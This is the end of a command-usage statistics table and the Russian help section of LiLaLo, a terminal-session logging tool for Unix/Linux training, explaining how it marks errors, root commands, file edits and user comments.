    ping1|| 0.80%
    pwd1|| 0.80%
    nohup1|| 0.80%
    null1|| 0.80%
    lpr1|| 0.80%
    /etc/rc.d/inetd1|| 0.80%
    scp1|| 0.80%
    logout1|| 0.80%
    catsr/local/etc/aide.conf1|| 0.80%
    g1|| 0.80%
    jobs1|| 0.80%
    kill1|| 0.80%
    net1|| 0.80%
    ssh1|| 0.80%
    1ess1|| 0.80%
    exit1|| 0.80%
    suid-md5-11|| 0.80%
    which1|| 0.80%
    a1|| 0.80%
    viusr/local/etc/aide.conf1|| 0.80%
    ____
    *) Интервалы неактивности длительностью 30 минут и более не учитываются

    Справка

    Для того чтобы использовать LiLaLo, не нужно знать ничего особенного: всё происходит само собой. Однако, чтобы ведение и последующее использование журналов было как можно более эффективным, желательно иметь в виду следующее:
    1. В журнал автоматически попадают все команды, данные в любом терминале системы.

    2. Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.

    3. Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
      $ l s-l
      bash: l: command not found
      

    4. Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
      $ test 5 -lt 4
      Обратите внимание на то, что код завершения команды может быть отличен от нуля не только в тех случаях, когда команда была выполнена с ошибкой. Многие команды используют код завершения, например, для того чтобы показать результаты проверки

    5. Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
      $ find / -name abc
      find: /home/devi-orig/.gnome2: Keine Berechtigung
      find: /home/devi-orig/.gnome2_private: Keine Berechtigung
      find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung
      find: /home/devi-orig/.metacity: Keine Berechtigung
      find: /home/devi-orig/.inkscape: Keine Berechtigung
      ^C
      

    6. Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
      # id
      uid=0(root) gid=0(root) Gruppen=0(root)
      

    7. Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
      $ vi ~/.bashrc
      2a3,5
      >    if [ -f /usr/local/etc/bash_completion ]; then
      >         . /usr/local/etc/bash_completion
      >        fi
      

    8. Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
      $ patch ~/.bashrc
      В данном случае изменения применяются к файлу ~/.bashrc

    9. Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.

      Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.

    10. Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.

    11. Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора

    12. Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.

    13. Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.

    14. Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:

      $ whoami
      
      user
      
      $ #^ Интересно, кто я?
      
      в журнале это будет выглядеть так:
      $ whoami
      
      user
      
      Интересно, кто я?

    15. Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:

      $ whoami
      
      user
      
      $ cat > /dev/null #^ Интересно, кто я?
      
      Программа whoami выводит имя пользователя, под которым 
      мы зарегистрировались в системе.
      -
      Она не может ответить на вопрос о нашем назначении 
      в этом мире.
      
      В журнале это будет выглядеть так:
      $ whoami
      user
      
      Интересно, кто я?
      Программа whoami выводит имя пользователя, под которым
      мы зарегистрировались в системе.

      Она не может ответить на вопрос о нашем назначении
      в этом мире.
      Для разделения нескольких абзацев между собой используйте символ "-", один в строке.

    16. Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=

    17. Содержимое файла может быть показано в журнале. Для этого его нужно вывести с помощью программы cat. Если вывод команды отметить симоволами #!, содержимое файла будет показано в журнале в специально отведённой для этого секции.
    18. Для того чтобы вставить скриншот интересующего вас окна в журнал, нужно воспользоваться командой l3shot. После того как команда вызвана, нужно с помощью мыши выбрать окно, которое должно быть в журнале.
    19. Команды в журнале расположены в хронологическом порядке. Если две команды давались одна за другой, но на разных терминалах, в журнале они будут рядом, даже если они не имеют друг к другу никакого отношения.
      1
          2
      3   
          4
      
      Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.

    О программе

    LiLaLo (L3) расшифровывается как Live Lab Log.
    Программа разработана для повышения эффективности обучения Unix/Linux-системам.
    (c) Игорь Чубин, 2004-2008

    $Id$